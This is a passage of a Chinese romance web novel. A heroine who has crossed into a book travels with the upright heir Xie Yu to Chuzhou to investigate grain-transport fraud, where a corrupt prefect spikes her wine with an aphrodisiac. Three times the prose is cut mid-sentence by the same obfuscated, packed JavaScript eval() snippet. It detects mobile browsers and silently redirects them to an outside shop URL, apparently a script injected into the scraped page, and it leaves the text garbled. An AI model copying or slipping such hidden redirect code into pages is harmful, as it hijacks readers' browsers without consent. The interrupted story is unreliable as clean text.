在景国人的观念中,犬类是看家护院的下等动物,少有人会觉得它们可爱,若是一般的王公贵族得知自己被人比作了狗,定是要恼的。 可江遥送的人是谢瑜,那样正直磊落的一个人,总会以最大的善意看待别人。 听完江遥的话,谢瑜眼眸漆黑,指尖不自觉摩挲着香囊上的小狗,好像有什么东西轻轻敲了敲他的胸腔,令他觉得自己的心震颤了一下,一种从未有过的暖意自胸间向全身蔓延。 沉默片刻后,他郑重道:“阿遥,真的多谢你。” 她总是这样好,好到让他不知道该怎么感谢她。 “还有其他惊喜,”江遥有些神秘地眨了眨眼,接过提灯,为谢瑜空出了另一只手,然后冲着香囊的方向扬了扬下巴:“知白哥哥不打开看看?” 原来不单单是个香囊。 谢瑜旋即拆开香囊,修长的手指伸入其中,刚摸到里面东西的轮廓时就停住了。无他,只因这样东西的质感他再熟悉不过了,他抬眼看向江遥,似有惊讶之意。 江遥笑着点了点头。 谢瑜将香囊中的物品拿出来,果见是一翠色的双鹤佩,正是他当时在王家村当铺里当掉的那块。 “你是什么时候拿回来的?”谢瑜眸光震颤。 “来谢府之后的一两天吧,我拜托寒星帮忙赎回来的。听伯母说,那是知白哥哥你最喜欢的一块玉佩,时常佩戴在身上。” 江遥看着玉佩,轻快中又带着一点庆幸:“我看这玉佩上既有竹节,又有仙鹤,当取得是健康长寿之意,知白哥哥你怎么能就这样把它当掉呢?如今,我可是把你的健康长寿都物归原主了。” 谢瑜伸手握住玉佩,玉佩的质感一如从前,触手生温,可他却觉得有什么不一样了。 谢瑜幼时生过一场大病,险些就没了性命,后来哪怕恢复过来了,谢夫人也还是心惊胆战,寻了各种稀奇古怪的法子来保平安。 都说玉能养人,谢夫人便给谢瑜准备了各种式样的玉佩,那些玉佩的图案均是取得健康平安、消灾辟邪一类的寓意。 但那么多玉佩里,谢瑜最喜欢的便是这一块刻着竹节的双鹤佩,时常拿在手里把玩,导致玉佩边缘已经变得光滑圆融。 后来在当铺,他没有多想便将玉佩抵押在了那里,毕竟这样的双鹤佩他还可以再有,但为江遥买下金簪的机会却只有一次。 他想,这是他应该为江遥做的。 可是他绝没有想到,这块玉佩竟然还能在几个月后的早春失而复得。 眼前的小姑娘,拂去了那时玉佩上冬日风雪的凉意,交还了一个满是生机与春意的玉佩,还对他说:“我把你的健康长寿都物归原主了。” 谢瑜眸色深了一些,思考片刻后,他拉过江遥的手,将玉佩重新放到她的手心。 江遥眼神有些不解,发出了一个单音节的“恩?” 可谢瑜的目光却只停留在她依然有些苍白的脸色上,哪怕身体已经好了很多,可江遥的脸色瞧着还是比平常人差了一些。 谢瑜轻声道:“玉佩既然是你赎回来的,我想不如把它送给你。” 你说你把我的健康长寿带了回来,那如今,我便把我的健康长寿都送予你。 希望来年的春天,百花盛放之时,他的阿遥可以如寻常女子般肆意地去踏青、赏花,而不必为了养病只能闷在府里。 8. 清冷正直国公府世子8 元启四年的一个春天,景德帝急召监察御史谢瑜入宫,二人密谈许久,第二日,谢瑜便随同新任户部主事许远宁秘密前往楚州。 此事在江遥的意料之内,按照时间线来说,谢瑜和许远宁也到了该开启楚州副本的时候了。 这些日子在谢夫人的照料下,江遥的身体已经好了很多,虽然还是比普通人差些,但也不会动不动就生病。所以谢瑜在临行前一天还抽出时间陪江遥去逛了逛集市,好让闷了许久的她散散心。 此刻二人刚刚回府,谢瑜手上还拿着江遥买的许多包裹,他用空闲的手为她拢了拢身上的披风,向她解释楚州一行的危险之处: “天子接到密报,密报中直指楚州漕运有亏空之嫌,所以特派我协同户部主事去楚州查探。阿遥,漕运一事,涉及的利益方太多,所以此行注定危险重重,非是我不愿带你前去,而是怕把你拖入险境。” 楚州位于景国两条运河的交汇点,是景国南北水运的咽喉,它的转运仓常年囤积数百万石漕粮,京师的许多粮草和物资都由此转运而来。 正因如此,若楚州漕运有事,京都粮草供应也会迅速陷入危机。 这样一想,也难怪景德帝会急派谢瑜前去调查了。 江遥点了点头,对谢瑜的解释给予充分理解。但是她并未放弃,又开口道:“知白哥哥,我都知道的。可你忘了吗,我也是楚州人啊,楚州作为漕运重地,往来人员密集,你和那位许大人查探时若是听不懂他们的方言,我还能为你们解答。再者说你们二位男子,乔装时多有不便,若是带上我,也可便宜行事呀。” 可能是说话时太投入,江遥说着说着便轻抓住谢瑜的胳膊:“知白哥哥,我不怕危险,漕运一事干系重大,作为江家儿女,我也想为百姓出一份力,你就带上我吧。” 这一抓,直接让谢瑜的心颤了一下。 他轻轻点头,终是答应了江遥的请求。 见谢瑜终于同意了自己一同前往,江遥心里的大石才算彻底放下。想到马上就能见到原著中酷飒的女主了,江遥心里还有些激动。 平心而论,她本人真的很欣赏女主的杀伐果断与冷静克制,在不耽误任务的前提下,她很希望能与这样的女孩子交个朋友。 她心不在焉地咬了口手上拿着的糖葫芦,直到又酸又甜的味道瞬间充盈口腔,才清醒过来。 下一秒,她便听到谢瑜清冷中又带着点点笑意的嗓音:“怎么,去楚州就这么开心?” 其实光组暗卫中,也有不少熟悉楚州方言的人,谢瑜从宫中出来以后就派墨砚带着几个光组暗卫提前出发去楚州打探消息了。 至于最终同意江遥一同去楚州,则是属于谢瑜的那一点点私心。 楚州曾是江遥的故土,如今她的祖父祖母虽已去世,可那里却还有他们之间的许多回忆,带江遥去楚州,也许有助于恢复她残缺的记忆。 谢瑜本以为江遥是因为重回故土欣喜,不想少女的回答却是:“也不全是因为要回楚州。我听闻这次与我们同行的这位许大人,虽是寒门出身,可却极有才华,面容清秀如玉,被人称为“冷玉主事”。我从前觉得知白哥哥便是长得极好看的人了,不知道这位“冷玉主事”又是何等风采?” 谢瑜提着包裹的手紧了紧。 “我还听说中榜那日他被不少官员看中做女婿,连如今的宰相沈端沈大人也有意招他为婿,可他却是一个都没有接受,这才被贬去了小地方任职,可没过几年他竟然又升了回来,当真是个有能力有抱负的人。” “知白哥哥,你见过他吗,他是否真如传闻一般?” 谢瑜听着她对许远宁的诸多夸奖与欣赏,嗓音中的那点笑意忽然就没了,面无表情回道:“见过,但不熟。” 很好,夸他只有一句“好看”,夸许远宁竟然有那么多词汇,又是“冷玉主事”,又是“有能力有抱负”的。 因为这句“不熟”,那晚的谢瑜成功被江遥拉着学习了许远宁的诸多光荣事迹(虽然有许多是从谢夫人那里拼拼凑凑而来,也未必真实),美其名曰“熟悉同僚”。 * 第二日一早的马车上,因为许远宁的到来,并不太熟悉的三个人陷入沉默之中,江遥吸了口气又迅速停住,不知道为什么,她觉得马车的空气中都弥漫着尴尬的味道。 确切地说,好像感到尴尬的只有江遥一个人。 许远宁和谢瑜两人一左一右在她身边坐着,两人穿着同样的青色官服,一个面容清秀,坐姿端正地看着窗外的景色,另一个则神情疏离淡漠,垂眼看书。 两个同样沉默的人自从上车前打过招呼便一直目不斜视,都很沉得住气,大有一种谁先开口谁就输的意思。他们两个,像是两团冷空气,直接把江遥两侧的温度都降到了零点。 江遥想,他们这一行起码要走半个月才能到楚州,若是一直不说话也是个问题。 最终还是先开口寒暄:“许大人,我祖籍是楚州人,对那里的环境还算得上了解,因此在出发之前,我已经提前叫人帮我们订好了旅店,还希望您不要介意。” 他们一行,是秘密来此,不宜太过张扬,由江家的人来定旅店,是最好的选择。 许远宁微微颔首,她手中茶杯氤氲出的热气让江遥看不清她的表情,她的音调偏低,音色又冷,话语很礼貌,听着却仿佛拒人于千里之外:“如此甚好,那就多谢江姑娘了。” 很直接的话语,连来回拉扯的机会都没有。 二人很快又无话可说了,密闭的空间里又重新恢复了安静。 果然,能力越强的大佬就越不喜欢说话。 江遥默默思索后,得出一个结论,她决定把破冰任务交给谢瑜。 谢瑜本来想要翻页的手顿了顿,哪怕不用抬头,他都已经感受到江遥炽烈的求救眼神。 拜江遥昨夜的科普所赐,如今的谢瑜对许远宁的经历恐怕比许远宁本人都如数家珍。 他随意起了个话题道:“我随父亲去寒州以前,曾在应天书院学习,听闻许大人也是应天的英才,可惜未能成为同窗。” 应天书院,天下英才汇聚之地,凡入应天书院学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491217|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者,无一不是品德与才能俱佳者。 许远宁抿了抿唇,淡淡道:“谢大人不必遗憾,而今我们一同前去楚州,也算是圆满了。” 她又看向窗外,随着马车前进,曾经京都中熟悉的景色正在急速向后退,重新涌进眼前的一切景物都将全新而未知,而未知就意味着不可控。 许远宁握着茶杯的手稍稍用了些力,觉得有些烦闷。 坦白来讲,几个监察御史中,她最不希望一起来楚州的人就是谢瑜了。 楚州是景国漕运的关键之处,许远宁在接下任务的时候就决定把水搅浑,作为盛国人,她巴不得楚州漕运再乱一些,毕竟楚州越乱对盛国越有利。 然而景德帝派去楚州的监察御史居然是谢瑜。 谢瑜这个人,她打过几次交道,为人最是正直寡淡,不是楚州知州吴永廉那个草包能糊弄得了的。再加上宋清时这个难搞的楚州通判,事情就更复杂了。 许远宁轻叹了口气,为了不漏出把柄,这次看来不得不认真起来了。 “许大人是有什么烦心事吗?”江遥关切的声音传来。 许远宁将手中已经放凉的茶水放在桌案上,抬起头的时候就看见眼前女子亮晶晶又带着温暖的那双眼睛,看上去那么真诚,想要敷衍的话在口里转了个弯,又咽回了肚子里。 沉吟几秒后,许远宁方道:“不过是想到了一位故人。如今的楚州通判宋清时,是我在应天书院的同窗。这位宋大人性子有些……” 对着年轻女子好奇的目光,她斟酌了下用词,又补充道:“有些不拘一格。二位最好有个心理准备。” 谢瑜在听到宋清时名字的时候,平静无波的眼眸中也划过一丝波动,在听到许远宁评价宋清时“不拘一格”时,更是深以为然地点了点头。 这还是江遥第一次看见谢瑜如此大幅度地点头,她忍俊不禁道:“知白哥哥也认识这位宋大人吗?” “在我未去寒州之前,恰与他是同窗。” 提及这位少时伙伴,谢瑜也有些头疼。 宋清时的父亲致仕前曾为三司使,掌景国财政,朝中门生无数,他的三个哥哥也都在朝官居高位,唯一的嫡亲姐姐于去岁嫁给了四皇子为正妃。 而宋清时本人,作为家中幼子,从小便展现出了极高的天分,19岁便高中状元,22岁便已任楚州通判。 这样的一个人,说是天之骄子也不为过。也许是因为太聪明,宋清时自小性格就散漫倦怠,对很多事情都不屑一顾,有时候又颇有些恶趣味。 这样的恶趣味包括但不限于,看淡漠寡言的谢瑜生气。 谢瑜虽自幼心性沉稳,可到底有些年少轻狂,每逢宋清时挑衅,谢瑜都直接选择最简单粗暴的方式解决,二话不说就开打。 最终的结果就是两人一起被书院先生罚站、罚抄书。 听完了谢瑜的讲述,江遥摸了摸下巴,暗自思量:原来两位男主表面上是同窗,其实背地里是宿敌来着。 不过从某种程度上来说,两人也算是患“难”与共的好兄弟了。 9. 清冷正直国公府世子9 楚州城,运河几乎穿城而过,运河的河面停着数不清的漕船。谢瑜一行人由码头入城,甫一经过城门,就见运河的声浪和水汽扑面而来,纤夫们正卖力地喊着号子拉船,力夫们则是背着货物在甲板上飞奔,一派繁忙的景象。 因为今日的谢瑜与许远宁并未穿官服,所以巡查的官兵们并没有注意到他们,几人扮成往来的客商,混迹在入城的人群中,毫不起眼。 运河主街两侧,店肆林立。他们跟着人流一直走,拐过几个弯,就到了旅店街,最终在一个叫“迎宾客栈”的店门前停下。 刚一进去,店中的小伙计就迎上来:“几位要住店?”他脸庞稚嫩,人却很热络,见江遥说之前定了房,忙引着他们上到四楼的雅间。 伙计一步跨了三级台阶,走在众人前方,引路的同时还不忘时不时回头看看。只因这三个人的面容与气质实在是太出众了,不像一般的客商。 因为要办成客商,江遥不再穿之前在谢府穿的那些华服,选了件桃红色的利落裙装,又加之上了妆,涂了口脂,脸色不再如之前一般苍白,反而透着些粉色;她的头发则是绑了单侧的麻花辫,没有任何发饰,只包了客商女子惯带的头巾。 可哪怕是这样简单的装扮,也难掩卓然姿色。 谢瑜走在最后面,以一种守护的姿态,不紧不慢地跟在许远宁和江遥身后,望向前方身影的目光柔和而温柔。 许远宁今日穿了藕荷色的薄衫,正在听作为“本地人”的江遥讲楚州的风俗民情,虽然没什么表情,但面对侃侃而谈的江遥,也会时不时回应几句。 景国男女大妨虽没那么讲究,可未有婚约的男女也少有一同住店者,加之江遥随行的两位男子皆面容清俊,与江遥这样明艳美丽的姑娘倒也相称,伙计便下意识地觉得这两位男子中定有一位是江遥的夫婿。 伙计又一次回头的时候,正见此时江遥对许远宁温柔一笑,若春日灼灼的桃花,他被这个笑容晃了一下,下意识就把心间所想说了出来:“您夫妻二人当真是恩爱,站在一起,恍若一对壁人。” 此言一出,气氛瞬间安静极了。 侃侃而谈的江遥不说话了,许远宁一向高冷的脸上难得划过了一丝尴尬,谢瑜唇边浅淡的笑意也戛然而止。 伙计说完才如梦初醒,他抓了抓头,又对着后面的谢瑜找补道:“方才听江姑娘称呼您为兄长,哎呦,您兄妹二人长相都很出众啊。”语气格外夸张。 见几人都不说话,伙计试探地问道:“难道说几位的关系不是我想得那样?” 最先反应过来的还是江遥,她弯了弯唇,神情狡黠。 “没想到您年纪轻轻便目光如炬。”江遥指了指面无表情的谢瑜:“这位的确是我兄长。” 然后她压低声音,以手遮口,悄声道:“我兄长这人吧迂腐得紧,看不上我夫君只是个商人,因而不喜欢别人谈论我的婚事。方才你说我二人般配,是又戳中了他的痛处,所以表情生硬了点,别见怪,别见怪。” 伙计悄悄瞥了下谢瑜,果见此人压迫感极强。伙计也压低声音回复道:“了然,了然。” 许远宁听到江遥的话,终于再也忍不住,唇角微提。她向一旁的谢瑜挑了挑眉,投去揶揄的目光。 其实两男一女一起住旅店,为了掩人耳目,装作夫妻和兄妹是很正确的选择,他们之前也的确商量过这个计划。不过,当时说的是许远宁为兄长,谢瑜和江遥为夫妻。 如今他们两个的角色却全然反了过来,也不知道谢瑜作何感想。 伙计不了解内幕,可许远宁这个一路同行的人却是看得出,谢瑜对江遥的关心已经远超出了他口中的兄妹之间的界限,也许谢瑜本人都还未意识到,他看向江遥时的眼神有多温柔。 但许远宁本人,并没有想要帮他们俩捅破窗户纸的意思,甚至隐隐约约有添乱的意味。在上到三楼的时候,有几处台阶被洒了水,有些湿滑,许远宁的手便时时在江遥旁边虚扶着,防止江遥摔下来。 这一动作被伙计注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491218|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,又是小声夸赞了一番,至于为什么是小声,大概是因为后面低气压的谢瑜。 因为疲于应付伙计,江遥觉得通往四楼雅间的路变得格外漫长。等终于到了自己的房间时,她才彻底放松下来。 她随便在窗前坐下,单手撑着头,另一只手则拿起桌上的笔,蘸墨,无意识地在宣纸上勾勒着什么。 迎宾客栈临河而建,从四楼看去,可见潺潺流水,又远远地可以瞥见他们来时的那个码头。 江遥一边在宣纸上随意涂写,一边在脑海中打开后台系统,调出男主数据面板,蓝绿色的面板上,来自江遥手绘的、充满个人风格的卡通动物头像十分醒目。而德牧头像的那一栏,攻略进度达到了百分之70。 百分之70,一个说高也不高,说低又不算低的程度。 被伙计误会后,她有意无意地在谢瑜面前与许远宁多接触了些,她想看看谢瑜目前对自己是何种态度。但经过试探发现,他好像并没有意识到自己的感情。 下一步该怎么走呢? 她关闭面板,正要将笔放回笔架,却在看到自己方才随手勾勒的图案后,不禁一怔。 宣纸上,一个高马尾的Q版古风小人正呆呆地注视着她,他的嘴巴被她化成了个一字,眼睛则是豆豆眼,还被她画上了两根睫毛,看上去格外呆萌。 这是她眼中的谢瑜,她方才想着攻略计划,竟随手画了个谢瑜Q.Q人。 阳光从窗子里照进来,将年轻女子的表情照得愈发柔和,她用指尖摸了摸Q.Q人的脸,墨迹未干,葱白指尖沾上些许黑色,她便就着这点墨汁给Q.Q人的脸颊两侧各涂了一个小圆点,权当做腮红了。 Q.Q人的表情就这样生动起来了。 江遥想,一个清冷自持的人怎么会忽然意识到自己动心了呢? 答案是必须有一个人像入室抢劫般将他从自己设定的种种规则里拉出来,让他直面炽烈而真挚的情感。 也许是时候该向谢瑜剖白心意了。 10. 清冷正直世子10 知州府内的一处环境清幽的亭子里,丝竹之声不绝于耳,美酒佳肴次第被侍女端上来,琳琅满目。 月色清幽,临湖宴饮,本该是一大美事。可这府中处处金碧辉煌,让人觉得雕馈满眼,反倒坏了意境。 楚州知州吴永廉坐于正座,许远宁、谢瑜、江遥则依次落座。几人皆未穿官服,打扮得很是随意。 吴永廉约莫四十来岁,一副老实人的长相,带着笑意的眼睛里锋芒暗藏,不动声色地打量完众人后,他执起青玉酒壶,给谢瑜和许远宁各斟了一杯酒: “听闻两位大人已来楚州数日,却是今日才着人来州府知会我。既是户部例行检查,又为何如此遮遮掩掩,是放心不下吴某吗?” 许远宁以手挡住杯口,淡声道:“抱歉,我不喜饮酒。” 江遥今日在吴永廉面前的人设是被谢瑜宠坏了的情人,因此喜怒格外明显。 谢瑜先为身边的江遥夹了些鱼脍,从刚才开始,江遥就一直眼神亮晶晶地盯着那条鱼。 他这夹菜的动作做得实在过于行云流水,娴熟无比,让吴永廉有些惊讶。他看了眼许远宁,见对方神色如常,暗骂自己少见多怪,还不如个毛头小子沉得住气。 谢瑜夹完菜,端起那杯酒,一饮而尽:“陪舍妹回乡祭祖,故而耽误了些时日。我先干为敬,望吴大人海涵。” 吴永廉摆了摆手,爽朗一笑,看着格外随和:“我怎敢怪罪。我还怕天子怪罪我招待不周呢。” 纵然如今的谢瑜不过是个正八品的监察御史,可人家国公府世子的身份摆在那里,吴永廉怎么敢真的摆上司架子。 他眼观鼻鼻观心,见坐于谢瑜身侧的年轻女子容貌美丽,谢瑜言谈之间又对她处处照顾,心下已是了然。 什么妹妹,我看是情妹妹还差不多。 都说这国公府世子为人清冷自持,府中无一女眷,如今看来之前的好名声都是装的,这次是憋坏了,借着出公差的机会来和情妹妹约会罢了。 吴永廉作为过来人,自认为已经看透了谢瑜,对着江遥殷勤道:“江小姐可真是慧眼识珠啊。这鱼脍是从江南运来的,正新鲜,厨子也是我特意找满月楼的名厨做的。不是我自夸,哪怕是在京城也不一定吃的上这鱼呢。” 江遥表情骄横,连眼神都没给吴永廉一个,自顾自地吃着桌上的菜。她今日穿着件织金线芙蓉红裙,头发馆了双蟠髻,妆容则是近来流行的梅花妆,红色的梅花花钿印在额头,为她添了几分娇俏。 看上去竞真有几分红颜祸水的感觉。 见对方不接茬,吴永廉也不生气,反而继续笑眯眯地和谢瑜等人攀谈。交谈时,他三句不离“黎民疾苦”、“漕运艰难”云云,不断夸耀自己的政绩。 江遥听着无聊,暗自向上翻了个白眼。既然她现在是“骄纵情人”,自然有权利可以表露心情。 她拨弄着自己的指甲,有些不耐地打断了吴永廉的说辞:“这宴席既是为我们接风,那白日里州衙的那位小宋大人怎么没来,是不是瞧不上我们?” 因为宋清时还有三个哥哥在朝为官,为了区分,同僚们都称呼他一声小宋大人,江遥也就这么随着他们一起叫了。 她这话诘问的意思实在太重。 吴永廉擦了擦脸上不存在的虚汗,连忙解释道:“怎会如此。诸位远道而来,按道理来讲,应是由我和小宋大人一同设宴款待。可我们这位小宋大人一向是宵衣旰食式工作的反对者,若是没有要紧的公务,下了值是不见任何客人的。这并非是针对诸位啊。” 吴永廉:光是眼前这一桌人,一个娇气包,一个恋爱脑,和一个情商低的哑巴,已经够让我头疼了。如果再加上那位不拘一格的下属,我将以头抢地。 江遥冷哼了一声,没再多说什么,将骄纵的样子演了个十成十。 谢瑜轻扬眉梢,微微摇了摇头,示意她不要演得太过。 江遥这才收了些气势,低着头,却又不时探听着,随时准备暴起。因为发型的缘故,非常像只竖着耳朵的警惕着的兔子。 谢瑜用另一双筷子,帮她夹了些够不着的菜。待要夹那道红油鹿筋时,江遥眸光微顿,却还是任由谢瑜将这道菜夹到了自己碗里。 两人这小动作落在吴永廉眼中,便成了眉目传情。 吴永廉自得知谢瑜来到楚州的时候起,便有心讨好他。 这人嘛,总会有弱点,有弱点就会有机可乘。刚见到谢瑜的时候,吴永廉几次示好,可却是这人软硬不吃,一副清高做派。吴永廉还当他是个棘手的麻烦,没想到,这样的人也难过美人关。 他看向坐在谢瑜身边的那位年轻女子,也许是吃不惯辣,当她尝了几口红油鹿筋后,被呛得不停咳嗽,连眼泪都出来了,喝了几杯茶都没能缓解。 看着她狼狈的样子,吴永廉眼珠子一转,一个计策就上心头:“江姑娘是辣着了吧,我府内还有些冰镇的葡萄酒,用来解辣最好了。”他向府中管家使了个眼色:“去,把那什么西域葡萄酒给江姑娘拿上来。” “西域”两个字被他说得格外重。 管家愣了一下,却还是在吴永廉略有深意的眼神下挪动脚步,拿来了葡萄酒。 侍女将葡萄酒斟满江遥的夜光杯,江遥正要喝的时候,脑海里传来蓝雁的提醒:“我方才看见管家在酒里加了东西。” 闻此言,江遥不动声色地笑了一下,毫不犹豫地将杯中酒一饮而尽。 原剧情中,因为谢瑜办事过于凌厉,吴永廉为捏住谢瑜的把柄,在谢瑜的酒水中加了西域的催.情药,又派了美人随侍左右。 那西域的催.情药,药效奇强,激起的情欲非常人能忍,可那时的谢瑜宁愿自伤来保持清醒,也不肯碰那些女子一根手指头。 许远宁带着医者赶到的时候,他的手臂上已经有数道划痕,鲜血染红了整个胳膊,他还强撑着一声不哼。 而现在,也许是因为吴永廉终于发现了谢瑜的弱点,有心讨好,于是喝了药酒的人便成了她。 江遥口中红油鹿筋的辣味早就已经消散,取而代之的是酸甜清凉的葡萄酒在舌尖回味无穷。 江遥轻扯了下嘴角,表情嘲弄。 她不过是递了个梯子,吴永廉就自己顺着梯子往上爬了。 晚风吹起年轻女子的发丝,露出她被酒意渲染得微微发红的脸。江遥单手撑着脸,百无聊赖地把玩着杯子,脸上挂着若有似无的笑。 * 半个时辰后,宴饮结束。 临别前,吴永廉府中的那位管事忽然拦下许远宁,说有账面上的事想要请教许远宁,不知可否耽误下她回府的时辰。 许远宁挑了挑眉,和谢瑜对视一眼,双方眼神交汇,皆已看出吴永廉是在故意将她支开。 这吴永廉葫芦里究竟卖得什么药。 许远宁眼神一扫,忽地看见谢瑜身边醉得神情迷蒙的江遥,又想起那杯莫名的葡萄酒,心下已经明白了三分。 酒中下药,这样的腌臜事她从前见得太多了。 谢瑜这位刚回京不久的监察御史和江遥这位养在闺阁中的官家小姐怕是还没有经历过。 她表情清冷的脸上划过一丝耐人寻味的兴致。 有意思。 坐山观虎斗的事情,她最喜欢了。 许远宁向管事做了个请的姿势,一派风采卓然:“还请前面带路。” 她抬头望了望天空,不知何时,层层的云彩已经将月光遮得密不透风。 透着些诡异的黑暗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491219|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今夜必将是一个不安定的夜晚。 但无论吴永廉和谢瑜谁占上风,景国都会乱上一阵。这于她和盛国,都将百利而无一害。 因着许远宁的离开,凉亭内只剩下了吴永廉、谢瑜和江遥三人。 谢瑜起身,正欲和吴永廉告辞,余光扫到身旁的江遥在站起来后,身形摇摇晃晃的,眼看着就要栽倒。他手疾眼快,反应过来的时候已经将人捞在了怀里。 女子的腰肢盈盈不堪一握,谢瑜一只手就可以抱住她。 她靠在他胸前,面色发红,晃了晃脑袋后,她撑着起身退出谢瑜的怀中,却又是一下没站稳,重新跌落了回去。 怀中人长睫眨动,惑道:“知白哥哥,你怎么看起来有好几个头?” 谢瑜眉心微蹙。 不过才一杯葡萄酒,怎么会醉成这样。 他淡淡道:“吴大人见笑了。” 吴永廉倒是通情达理得很,连连摆手说没事,还十分殷切地将谢瑜二人送至门口。 知州府外,墨砚驾着马车,已经等候许久。 吴永廉亲眼看着谢瑜小心翼翼地将怀中的女子放到马车上,然后又下车同自己告别。 吴永廉笑了一声,见四下除了墨砚以外再无外人,才意有所指地对谢瑜道:“谢大人,你今晚好好享受一下吧。” 谢瑜神色莫名,心间划过一丝不好的预感:“何意?” 也许是喝了些酒,吴永廉言语之间也大胆了些。他自以为摸清了谢瑜的性子,送了谢瑜个大礼,神情颇有些得意,压低声音道: “我在江姑娘的酒里加了点东西。为兄长你几岁,于鱼水之欢上也算有些经验。这越是性子烈的女子吧,就越是得调教。喝下了这酒,纵使烈女也得变荡.妇。今夜,她必定会痴缠于老弟你,求着你多要她几回的。” “为兄可是贴心得紧,还命人将许大人支开了,谢大人若是想在马车里来——” 那句未说完的尾音还突兀地停留在风中,一只骨节分明的手就突然锁住了他的脖子。 他被巨大的冲击力按压在墙上,那力道几乎要将他的骨骼震碎。 吴永廉惊恐地睁大眼睛,不断挣扎,试图掰开谢瑜的钳制:“谢瑜,你是疯了吗,竟敢当街袭击朝廷命官。” 他努力想摆脱谢瑜的钳制,却始终动弹不得,那种窒息的感觉让他脸色涨红。 然而在强大的武功与内力面前,一切挣扎皆是徒劳。 吴永廉挣扎着的那只手径直被谢瑜反转过去,他甚至听见了骨头断裂的声音。 年轻男子眼神冷冽,身上先前被他刻意压制住的肃杀之气尽数显现,嗓音里是从没有过的冰冷,像是融进了隆冬的飞雪寒霜:“谁准你自作主张的?” 杀意弥漫。 空气越来越稀薄。 “说,解药在哪里?” 他手上力气又加重了些。 “没…没有解药。助兴之物,何须…解…药。” 吴永廉几乎要喘不上来气,痛意与窒息感交叠,他已是大汗淋漓。 他断断续续地说完这句话,已是用尽全力,他觉得全身的血液都在往上涌,心脏跳得极快。 也是在这时,吴永廉才真正意识到谢瑜曾经是个武将,刀下亡魂无数、身上沾着无数人的血,杀起人来恐怕眼都不眨一下。他毫不怀疑,若是再不做点什么,谢瑜也许真的会掐死他。 “药效两…两个时辰,挺过即可无碍。”他艰难补充道。 砰地一声,谢瑜放开了他,头也不回地跳上马车中。 吴永廉跌坐在地上,大口大口地呼吸着新鲜空气,他的脖子上已经被掐出了一圈红印。 再抬眼看去,马车已经飞速驶离了他的视线。 11. 清冷正直世子11 夜色如墨,灯火寥落。 楚州的主街道不复白日的繁华,店铺的伙计关上铺面的大门,更夫也刚刚敲过三更的梆子。 一片寂静中只能听见一阵杂乱的马蹄声与车辙声。 此时此刻,有人卧榻酣眠,有人急欲归家,却也有人在心急如焚。 墨砚驾驶着马车朝着医馆的方向驶去。 他神情严肃。 想到方才发生的事,拉着缰绳的手紧了紧。 尽管墨砚并不清楚吴永廉究竟做了什么,但看谢瑜对吴永廉的态度,也猜到了几分。 在墨砚眼中,自家世子一向是个冷静克制的人,很少会有如此锋锐的时刻。 而他为数不多的几次暴露情绪的时刻,都与江姑娘有关。 他回头,望向马车车帘的神色有些担忧。 马车内。 谢瑜从未觉得有一段路会这样漫长。 也许是药劲逐渐上来,江遥起初还能保持理智,和他对话,可是后来,哪怕指尖嵌入肉中,也抵抗不住药物的侵蚀。 “若是实在忍不住,就咬我吧。”谢瑜拧着眉,撩起右手衣袖,将胳膊伸到她面前。 身上的温度越来越高,好像整个人被丢进了火中炙烤,然而又有一种酥麻的痒意混杂其中,胸腹四肢,无一不滚烫,又有如千万只蚂蚁在体内爬行,力道不重,却遍布全身。 江遥身上已经被汗浸湿,额间碎发都贴在了一起,珠钗散落在四处。 谢瑜将胳膊伸过来时,她很想就这么不管不顾地咬上去。 可是他那只胳膊,已是疤痕无数,曾经受的刀伤和剑伤混杂在一起,疤痕蜿蜒,旧伤新伤叠加,让人无从下口。 不难想象,这只手的主人究竟受过多少伤。 “知白哥哥,你现在最应该做的,就是离我远一些。”江遥用了最后一丝理智,咬唇道。 她推开他的胳膊。 仅仅是碰了一下他的胳膊,她便差点抑制不住心间的痒意,嘤咛了一声,控制不住地还想触碰更多。 看着江遥难受的样子,谢瑜耳边突然响起吴永廉的话:“喝下了这酒,纵使烈女也得变□□。” 手忍不住攥成了拳,青筋暴起。 “该死。” 他暗骂了一声。 吴永廉竟然会有这样肮脏下流的药,他只恨自己方才没有真要了吴永廉的命。 谢瑜闭上眼睛,他觉得自己好像也被江遥传染,像是有人点了把火,心间一阵燥热。 他深吸了口气,再睁眼时,神色已经恢复如常。 此时的江遥双颊绯红,像是再也忍受不住,抬手就要脱掉自己身上那碍事的红色窄袖短衫。 暮春时节,衣裙本就单薄。她若是脱掉外衫,内里就只剩下了一件抹胸纱裙。 领口已经被她扯得松松垮垮 胸前大片大片的风光若隐若现。 谢瑜神色深了一些,蓦地按住了她的手。 